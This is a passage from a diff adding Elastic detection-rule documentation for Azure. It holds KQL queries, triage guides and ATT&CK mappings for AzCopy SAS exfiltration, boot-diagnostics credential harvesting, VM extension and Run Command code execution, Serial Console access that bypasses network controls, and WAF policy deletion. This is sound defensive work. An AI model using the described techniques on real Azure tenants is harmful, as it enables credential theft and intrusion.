monitoring and alerting for the affected storage account to detect any further suspicious activity. +- Review and strengthen SAS token generation policies, including implementing shorter expiration times and more restrictive permissions. +- Consider implementing Azure Storage firewall rules or private endpoints to restrict access to storage accounts from trusted networks only. +- Investigate how the SAS token was compromised and remediate the initial access vector to prevent future incidents. +- Document the incident and update security procedures to prevent similar compromises in the future. + + +==== Setup + + + +*Required Azure Storage Diagnostic Logs* + + +To ensure this rule functions correctly, the following diagnostic logs must be enabled for Azure Storage Accounts: +- StorageRead: This log captures all read operations performed on blobs in the storage account, including GetBlob operations. These logs should be streamed to the Event Hub used for the Azure integration configuration. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: azure.platformlogs and + event.action: GetBlob and + azure.platformlogs.identity.type: SAS and + azure.platformlogs.properties.userAgentHeader: AzCopy* and + azure.platformlogs.statusCode: 200 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-vm-boot-diagnostics-retrieved.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-vm-boot-diagnostics-retrieved.asciidoc new file mode 100644 index 0000000000..d9d8a93abd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-vm-boot-diagnostics-retrieved.asciidoc @@ -0,0 +1,120 @@ +[[prebuilt-rule-8-19-34-azure-vm-boot-diagnostics-retrieved]] +=== Azure VM Boot Diagnostics Retrieved + +Identifies retrieval of Azure VM boot diagnostics data ("MICROSOFT.COMPUTE/VIRTUALMACHINES/RETRIEVEBOOTDIAGNOSTICSDATA/ACTION") by an identity that has not performed this operation recently. Boot diagnostics expose the VM serial console log and a console screenshot, which frequently contain plaintext boot-time output such as credentials, tokens, cloud-init/agent secrets, and command history. An adversary with VM read/contributor rights can retrieve this data over the control plane, without logging into the guest or touching the network, to harvest credentials. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.pwnedlabs.io/diving-deep-into-azure-vm-attack-vectors +* https://www.microsoft.com/en-us/msrc/blog/2023/08/azure-serial-console-attack-and-defense-part-1 +* https://learn.microsoft.com/en-us/azure/virtual-machines/boot-diagnostics +* https://www.netspi.com/blog/technical-blog/adversary-simulation/7-ways-to-execute-command-on-azure-virtual-machine-virtual-machine-scale-sets/ + +*Tags*: + +* Domain: Cloud +* Domain: Endpoint +* Data Source: Azure +* Data Source: Azure Activity Logs +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Azure + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure VM Boot Diagnostics Retrieved* + + +Retrieving boot diagnostics (`retrieveBootDiagnosticsData/action`) returns SAS URIs to the VM serial console log and a +console screenshot. The serial log often contains plaintext boot output: cloud-init/agent activity, command history, and +sometimes credentials or tokens. The action is a control-plane read requiring only VM read/contributor rights, leaves no +guest footprint, and bypasses NSG/JIT. + + +*Triage checklist* + + +- Identify the acting principal via `azure.activitylogs.identity.authorization.evidence.principal_id` and + `...principal_type` (User vs ServicePrincipal) and `azure.activitylogs.identity.claims.appid`. Service principal or + managed identity retrieval is more suspicious than a known support user. +- Review the source: `source.ip`, `source.as.number`, `source.as.organization.name`, `source.geo.country_name`. + Retrieval from cloud hosting, VPS, or anonymizing networks is more suspicious than known corporate egress. +- Inspect `azure.resource.id` / `azure.resource.name` to identify the target VM. Was the same principal recently granted + access to it, or is this their first interaction? +- Did the same principal recently perform reconnaissance, role assignments, Run Command, or extension operations on the + VM or subscription? + + +*Possible investigation steps* + + +- Review the principal's Entra ID sign-in logs and RBAC role assignments on the subscription, resource group, and VM. +- Retrieve the boot diagnostics serial log and screenshot from the VM and assess whether they exposed credentials or + other secrets that now require rotation. +- Pivot on the VM and any credentials observed in the serial log for follow-on access, lateral movement, or persistence. + + +*Response and remediation* + + +- If unauthorized, rotate any credentials/tokens exposed in the serial log, review RBAC on the affected scope, and revoke + the principal's access if compromised. +- Collect activity log artifacts per incident procedures. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and + event.action:"MICROSOFT.COMPUTE/VIRTUALMACHINES/RETRIEVEBOOTDIAGNOSTICSDATA/ACTION" and + event.outcome:(success or Success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-vm-extension-crud-operation-with-unusual-source-asn.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-vm-extension-crud-operation-with-unusual-source-asn.asciidoc new file mode 100644 index 0000000000..a18393b9a8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-vm-extension-crud-operation-with-unusual-source-asn.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-34-azure-vm-extension-crud-operation-with-unusual-source-asn]] +=== Azure VM Extension CRUD Operation with Unusual Source ASN + +Identifies create, read, update, or delete (CRUD) operations against Azure VM or VM scale set extensions ("MICROSOFT.COMPUTE/VIRTUALMACHINES/EXTENSIONS/*" or the scale set equivalent) where the combination of the targeted extension resource name and the source autonomous system (AS) number has not been observed recently. VM extensions such as CustomScript and DSC run with high privilege on the guest (SYSTEM on Windows, root on Linux), so writing, modifying, or removing them is a common code-execution and persistence primitive. By keying a new terms approach on the extension resource name and the source AS number, this rule surfaces extension operations originating from networks that have not historically managed that extension, while routine first-party Microsoft automation (which originates from well-known Microsoft AS numbers) is excluded. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.activitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.netspi.com/blog/technical-blog/adversary-simulation/7-ways-to-execute-command-on-azure-virtual-machine-virtual-machine-scale-sets/ +* https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/custom-script-windows +* https://hackingthe.cloud/azure/run-command-abuse/ +* https://blog.pwnedlabs.io/diving-deep-into-azure-vm-attack-vectors +* https://www.sysdig.com/blog/the-expendable-extension-name-azure-vmaccess-naming-chaos-password-resets-and-a-detection-gap + +*Tags*: + +* Domain: Cloud +* Domain: Endpoint +* Data Source: Azure +* Data Source: Azure Activity Logs +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Cloud VM Execution +* Rule Type: New Terms +* Platform: Azure + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure VM Extension CRUD Operation with Unusual Source ASN* + + +Azure VM and VM scale set extensions (for example CustomScript, DSC, and AADSSHLoginForLinux) execute on the guest with +high privilege. Creating or updating an extension (`EXTENSIONS/WRITE`) can run attacker-supplied code as SYSTEM or root, +while deleting one (`EXTENSIONS/DELETE`) can remove security tooling or clean up after execution. This rule uses a new +terms approach keyed on the pair (`azure.resource.name`, `source.as.number`), so it fires when a given extension resource +is operated on from a source network that has not been seen managing it within the history window. Well-known Microsoft +AS numbers used by first-party automation are excluded in the query. + + +*Triage checklist* + + +- Identify the source via `source.ip`, `source.as.number`, and `source.as.organization.name`. Operations from cloud + hosting, VPS, or anonymizing networks are more suspicious than known corporate egress. +- Identify the acting principal via `azure.activitylogs.identity.authorization.evidence.principal_id` and + `...principal_type` (User vs ServicePrincipal) and `azure.activitylogs.identity.claims.appid`. +- Inspect `azure.resource.id` for the target VM/VMSS and `azure.resource.name` for the extension. CustomScript/DSC + extensions and randomly named extensions warrant closer review. +- Determine the operation: WRITE (create/update — code execution) vs DELETE (removal — possible defense evasion or + cleanup). +- Correlate with endpoint telemetry on the target host: process activity parented by the Azure guest agent + (`WaAppAgent.exe` / `walinuxagent`) within ~120 seconds of the operation timestamp. + + +*Possible investigation steps* + + +- Review the principal's Entra ID sign-in logs and RBAC role assignments on the subscription, resource group, and VM. +- Retrieve the extension settings/protected settings from the VM (the activity log does not contain the script body) to + assess intent. +- Pivot on the VM for credential access, new local accounts, or outbound C2 connections following the operation. + + +*Response and remediation* + + +- If unauthorized, remove the malicious extension, isolate the VM, rotate credentials reachable from it, and review RBAC + on the affected scope. +- Block or investigate the source AS/network if it is not an expected management path. +- Collect endpoint and activity log artifacts per incident procedures. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and + event.action:( + "MICROSOFT.COMPUTE/VIRTUALMACHINES/EXTENSIONS/DELETE" or + "MICROSOFT.COMPUTE/VIRTUALMACHINES/EXTENSIONS/READ" or + "MICROSOFT.COMPUTE/VIRTUALMACHINES/EXTENSIONS/WRITE" or + "MICROSOFT.COMPUTE/VIRTUALMACHINESCALESETS/EXTENSIONS/DELETE" or + "MICROSOFT.COMPUTE/VIRTUALMACHINESCALESETS/EXTENSIONS/READ" or + "MICROSOFT.COMPUTE/VIRTUALMACHINESCALESETS/EXTENSIONS/WRITE" + ) and event.outcome:(Success or success) and + azure.resource.name:* and + source.as.number:(* and not (3598 or 8068 or 8069 or 8070 or 8071 or 8072 or 8073 or 8074 or 8075 or 12076)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Cloud Administration Command +** ID: T1651 +** Reference URL: https://attack.mitre.org/techniques/T1651/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-vm-extension-deployment-by-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-vm-extension-deployment-by-user.asciidoc new file mode 100644 index 0000000000..cceef60e9c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-vm-extension-deployment-by-user.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-34-azure-vm-extension-deployment-by-user]] +=== Azure VM Extension Deployment by User + +Identifies the successful deployment of a high-risk Azure Virtual Machine extension by an interactive user principal. Attackers with privileged Azure RBAC roles can abuse VM extensions such as VMAccess, CustomScriptExtension, and RunCommand to execute arbitrary code, create backdoor accounts, harvest credentials, and establish persistence on Azure-hosted virtual machines without requiring direct network access to the VM. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/virtual-machines/extensions/overview + +*Tags*: + +* Domain: Cloud +* Domain: Endpoint +* Data Source: Azure +* Data Source: Azure Activity Logs +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Cloud VM Execution +* Rule Type: Custom Query (KQL) +* Platform: Azure + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure VM Extension Deployment by User* + + +This rule flags successful `MICROSOFT.COMPUTE/VIRTUALMACHINES/EXTENSIONS/WRITE` operations performed by a user principal +where the extension resource ID matches high-risk extension families (VMAccess, Custom Script, Run Command, DSC, +Microsoft Monitoring Agent). + + +*Triage checklist* + + +- Is the caller UPN a known admin or automation account? +- Is the source IP or ASN consistent with corporate infrastructure or a known VPN? +- Was this extension deployment preceded by a Run Command invocation on the same VM? +- Did the extension deployment coincide with new local account creation on the endpoint? +- Check `azure.activitylogs.identity.claims.authnmethodsreferences` — was MFA present? +- Correlate with endpoint telemetry: process events parented by `WaAppAgent.exe` or `walinuxagent` within 120 seconds of + the extension write timestamp on the same host. + + +*Possible investigation steps* + + +- Review `azure.activitylogs.identity.authorization.evidence.principal_id` and Entra sign-in logs for the caller. +- Examine `azure.resource.id` and `azure.resource.name` to identify the VM and extension type deployed. +- Pivot on the VM for `MICROSOFT.COMPUTE/VIRTUALMACHINES/RUNCOMMAND/ACTION` and endpoint Run Command or `waagent` activity. +- Review role assignments for the principal on the subscription or resource group. + + +*Response and remediation* + + +- If unauthorized, remove the extension, rotate credentials, and review RBAC on the affected VM and scope. +- Isolate the VM and collect endpoint and activity log artifacts per incident procedures. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and +azure.activitylogs.operation_name:"MICROSOFT.COMPUTE/VIRTUALMACHINES/EXTENSIONS/WRITE" and +azure.activitylogs.identity.authorization.evidence.principal_type:User and +event.outcome:(success or Success) and +azure.resource.id:( + *VMACCESSAGENT* or + *CUSTOMSCRIPTEXTENSION* or + *RUNCOMMANDWINDOWS* or + *RUNCOMMANDLINUX* or + */DSC/* or + *MICROSOFTMONITORINGAGENT* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Cloud Administration Command +** ID: T1651 +** Reference URL: https://attack.mitre.org/techniques/T1651/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Create Cloud Instance +** ID: T1578.002 +** Reference URL: https://attack.mitre.org/techniques/T1578/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-vm-managed-run-command-created-or-updated-with-unusual-principal.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-vm-managed-run-command-created-or-updated-with-unusual-principal.asciidoc new file mode 100644 index 0000000000..58a02d2f16 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-vm-managed-run-command-created-or-updated-with-unusual-principal.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-34-azure-vm-managed-run-command-created-or-updated-with-unusual-principal]] +=== Azure VM Managed Run Command Created or Updated with Unusual Principal + +Identifies the creation or update of a managed Azure Run Command resource ("MICROSOFT.COMPUTE/VIRTUALMACHINES/RUNCOMMANDS/WRITE" or the virtual machine scale set equivalent) by an identity that has not performed this operation recently. Unlike the action-based Run Command ("runCommand/action"), the managed Run Command is a persistent resource on the VM whose creation or update executes the supplied script as System (Windows) or root (Linux). Because creating a managed run command both executes code and leaves a durable object, adversaries can use it as an alternative to the action invocation to evade detections that only watch "runCommand/action". Alerting on the first time a given principal performs this operation surfaces unusual or unauthorized use while suppressing routine automation that repeatedly manages the same run commands. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.activitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.netspi.com/blog/technical-blog/adversary-simulation/7-ways-to-execute-command-on-azure-virtual-machine-virtual-machine-scale-sets/ +* https://learn.microsoft.com/en-us/azure/virtual-machines/windows/run-command-managed +* https://hackingthe.cloud/azure/run-command-abuse/ +* https://blog.pwnedlabs.io/diving-deep-into-azure-vm-attack-vectors +* https://www.sysdig.com/blog/the-expendable-extension-name-azure-vmaccess-naming-chaos-password-resets-and-a-detection-gap + +*Tags*: + +* Domain: Cloud +* Domain: Endpoint +* Data Source: Azure +* Data Source: Azure Activity Logs +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Cloud VM Execution +* Rule Type: New Terms +* Platform: Azure + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure VM Managed Run Command Created or Updated with Unusual Principal* + + +The managed Run Command (`runCommands/write`) creates or updates a persistent run command resource on a VM or VM scale +set. Creating the resource executes the supplied script as SYSTEM (Windows) or root (Linux). This rule uses a new terms +approach keyed on the acting principal, so it fires the first time a given identity performs this operation within the +history window. + + +*Triage checklist* + + +- Identify the acting principal via `azure.activitylogs.identity.authorization.evidence.principal_id` and + `azure.activitylogs.identity.authorization.evidence.principal_type` (User vs ServicePrincipal). Service principal or + managed identity activity is more suspicious than a known admin user. +- Is the source IP/ASN consistent with corporate infrastructure or a known VPN? +- Inspect `azure.resource.id` for the target VM/VMSS and the run command resource name. Attacker-created names are often + random or descriptive of intent. +- Did the same principal recently perform reconnaissance, role assignments, or other VM operations + (`runCommand/action`, `extensions/write`, serial console connect)? +- Correlate with endpoint telemetry on the target host: process activity parented by the Azure guest agent + (`WaAppAgent.exe` / `walinuxagent`) within ~120 seconds of the write timestamp. + + +*Possible investigation steps* + + +- Review the principal's Entra ID sign-in logs and RBAC role assignments on the subscription, resource group, and VM. +- Retrieve the run command script content from the VM (the activity log does not contain the script body) to assess + intent. +- Pivot on the VM for credential access, new local accounts, or outbound C2 connections following execution. + + +*Response and remediation* + + +- If unauthorized, delete the managed run command resource, isolate the VM, rotate credentials reachable from it, and + review RBAC on the affected scope. +- Collect endpoint and activity log artifacts per incident procedures. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and + event.action:( + "MICROSOFT.COMPUTE/VIRTUALMACHINES/RUNCOMMANDS/WRITE" or + "MICROSOFT.COMPUTE/VIRTUALMACHINESCALESETS/VIRTUALMACHINES/RUNCOMMANDS/WRITE" + ) and event.outcome:(success or Success) and + azure.activitylogs.identity.authorization.evidence.principal_id: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Cloud Administration Command +** ID: T1651 +** Reference URL: https://attack.mitre.org/techniques/T1651/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-vm-serial-console-connection-with-unusual-user-and-asn.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-vm-serial-console-connection-with-unusual-user-and-asn.asciidoc new file mode 100644 index 0000000000..268b0f6b9b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-vm-serial-console-connection-with-unusual-user-and-asn.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-34-azure-vm-serial-console-connection-with-unusual-user-and-asn]] +=== Azure VM Serial Console Connection with Unusual User and ASN + +Identifies a connection to the Azure Serial Console of a virtual machine (VM) by an identity and source network combination that has not been observed recently. The Serial Console provides text-based console access to a VM through the boot diagnostics serial port, independent of the VM's network state. Because it does not traverse the VM's network interface, a Serial Console session bypasses Network Security Groups (NSGs), Just-in-Time (JIT) access policies, and other network controls. An adversary with a privileged Azure RBAC role (for example Virtual Machine Contributor) and boot diagnostics enabled on the target can use the Serial Console to obtain an interactive session as SYSTEM (Windows) or root (Linux). + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.activitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/serial-console-overview +* https://blog.pwnedlabs.io/diving-deep-into-azure-vm-attack-vectors +* https://www.netspi.com/blog/technical-blog/adversary-simulation/7-ways-to-execute-command-on-azure-virtual-machine-virtual-machine-scale-sets/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Azure Activity Logs +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: New Terms +* Platform: Azure + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure VM Serial Console Connection with Unusual User and ASN* + + +The Azure Serial Console gives text-based console access to a VM over the boot diagnostics serial port. It works even +when the VM has no inbound network connectivity, so a session bypasses NSGs, JIT, and other network controls. This rule +flags successful `MICROSOFT.SERIALCONSOLE/SERIALPORTS/CONNECT/ACTION` operations where the combination of acting +principal and source ASN has not been seen in the history window. + +This rule uses a new terms approach keyed on the acting principal and source ASN, so it surfaces a +known identity connecting from an unusual network as well as any new identity using the Serial Console. + + +*Triage checklist* + + +- Identify the caller via `azure.activitylogs.identity.authorization.evidence.principal_id` and + `azure.activitylogs.identity.authorization.evidence.principal_type` (User vs ServicePrincipal). Service principal + Serial Console access is unusual and warrants scrutiny. +- Review `source.as.organization.name`, `source.as.number`, and `source.geo.country_name` - is the network a known + corporate/VPN ASN or an unexpected hosting/residential provider? +- Was the connect preceded by reconnaissance, role assignment changes, or Run Command / extension activity on the same VM? +- Were there preceding failed Serial Console connect attempts (`event.outcome:failure`) suggesting access probing? +- Does the target VM normally require Serial Console access, or is it a production system that should be reachable over + the network? + + +*Possible investigation steps* + + +- Review `azure.resource.id` to identify the VM and confirm boot diagnostics is enabled. +- Correlate with Entra ID sign-in logs for the caller and review MFA / conditional access posture. +- Pivot on the VM for endpoint telemetry around the connect timestamp (interactive shell, new local accounts, credential + access) since Serial Console sessions execute as SYSTEM/root. +- Review the principal's RBAC role assignments on the subscription, resource group, and VM. + + +*Response and remediation* + + +- If unauthorized, terminate the session, rotate credentials reachable from the VM, and review RBAC on the affected scope. +- Consider disabling the subscription-level Serial Console where it is not operationally required. +- Isolate the VM and collect endpoint and activity log artifacts per incident procedures. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and + azure.activitylogs.operation_name:"MICROSOFT.SERIALCONSOLE/SERIALPORTS/CONNECT/ACTION" and + event.outcome:("success" or "Success") and + azure.activitylogs.identity.authorization.evidence.principal_id:* and + source.as.number:* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Direct Cloud VM Connections +** ID: T1021.008 +** Reference URL: https://attack.mitre.org/techniques/T1021/008/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-vnet-firewall-front-door-waf-policy-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-vnet-firewall-front-door-waf-policy-deleted.asciidoc new file mode 100644 index 0000000000..4f00649d84 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-vnet-firewall-front-door-waf-policy-deleted.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-34-azure-vnet-firewall-front-door-waf-policy-deleted]] +=== Azure VNet Firewall Front Door WAF Policy Deleted + +Identifies the deletion of a Frontdoor Web Application Firewall (WAF) Policy in Azure. An adversary may delete a Frontdoor Web Application Firewall (WAF) Policy in an attempt to evade defenses and/or to eliminate barriers to their objective. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#networking + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Network Security Monitoring +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Azure +* Data Source: Azure Activity Logs + +*Version*: 109 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure VNet Firewall Front Door WAF Policy Deleted* + + +Azure Front Door WAF policies are crucial for protecting web applications by filtering and monitoring HTTP requests to block malicious traffic. Adversaries may delete these policies to bypass security measures, facilitating unauthorized access or data exfiltration. The detection rule identifies such deletions by monitoring Azure activity logs for specific delete operations, signaling potential defense evasion attempts. + + +*Possible investigation steps* + + +- Review the Azure activity logs to confirm the deletion event by filtering for the operation name "MICROSOFT.NETWORK/FRONTDOORWEBAPPLICATIONFIREWALLPOLICIES/DELETE" and ensure the event outcome is marked as Success. +- Identify the user or service principal responsible for the deletion by examining the associated user identity information in the activity logs. +- Check the timestamp of the deletion event to determine if it coincides with any other suspicious activities or alerts in the environment. +- Investigate the context of the deletion by reviewing any recent changes or incidents involving the affected Azure Frontdoor instance or related resources. +- Assess the impact of the deletion by identifying which web applications were protected by the deleted WAF policy and evaluating their current exposure to threats. +- Review access logs and network traffic for the affected web applications to detect any unusual or unauthorized access attempts following the policy deletion. + + +*False positive analysis* + + +- Routine maintenance or updates by authorized personnel may lead to the deletion of WAF policies. To manage this, create exceptions for known maintenance windows or specific user accounts responsible for these tasks. +- Automated scripts or tools used for infrastructure management might delete and recreate WAF policies as part of their normal operation. Identify these scripts and exclude their activity from triggering alerts. +- Changes in organizational policy or architecture could necessitate the removal of certain WAF policies. Document these changes and adjust the detection rule to account for them by excluding specific policy names or identifiers. +- Test environments may frequently add and remove WAF policies as part of development cycles. Consider excluding activity from test environments by filtering based on resource group names or tags associated with non-production environments. + + +*Response and remediation* + + +- Immediately isolate the affected Azure Frontdoor instance to prevent further unauthorized access or data exfiltration. +- Review Azure activity logs to identify the user or service principal responsible for the deletion and assess their access permissions. +- Recreate the deleted WAF policy using the latest backup or configuration template to restore security controls. +- Implement conditional access policies to restrict access to Azure management operations, ensuring only authorized personnel can modify WAF policies. +- Notify the security operations team and relevant stakeholders about the incident for further investigation and monitoring. +- Conduct a post-incident review to identify gaps in security controls and update incident response plans accordingly. +- Enhance monitoring by setting up alerts for any future deletions of critical security policies to ensure rapid detection and response. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.NETWORK/FRONTDOORWEBAPPLICATIONFIREWALLPOLICIES/DELETE" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-vnet-firewall-policy-deleted.asciidoc 